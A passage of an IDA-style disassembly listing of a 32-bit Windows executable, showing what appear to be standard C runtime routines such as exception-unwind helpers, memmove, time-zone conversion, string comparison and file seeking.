		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C	; RtlUnwind


loc_41CB8C:				; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A96C
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A96C
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; .packed:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DCFDC
		call	sub_422608
		mov	edx, dword_4DCFDC
		pop	ecx
		mov	ecx, dword_4DCFD8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DCFDC
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DCFD8
		sub	ecx, dword_4DCFDC
		mov	dword_4DCFDC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DCFD8, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DCFD8, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: .packed:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DCFDC, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DCFDC
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DCFDC
		mov	dword_4DCFD8, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: sub_40D99B+1B0p

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_42712C	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4271A4	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB9A2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB9A0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB99E
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB99A
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB998
		jnz	short loc_41D0E6
		mov	eax, dword_4DB990
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_4271A0	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB998
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB990, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near		; CODE XREF: sub_40D99B+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB9EC
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1EC	proc near		; CODE XREF: sub_411796+26Ep
					; sub_411796+37Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: sub_41D1EC+13j
					; sub_41D1EC+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: sub_41D1EC+27j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: sub_41D1EC+42j
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: sub_41D1EC+49j
					; sub_41D1EC+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: sub_41D1EC+Bj
					; sub_41D1EC+1Dj
		mov	dword_4DB938, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: sub_41D1EC+7Aj
		pop	edi
		pop	esi
		retn
sub_41D1EC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: sub_4161BC+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
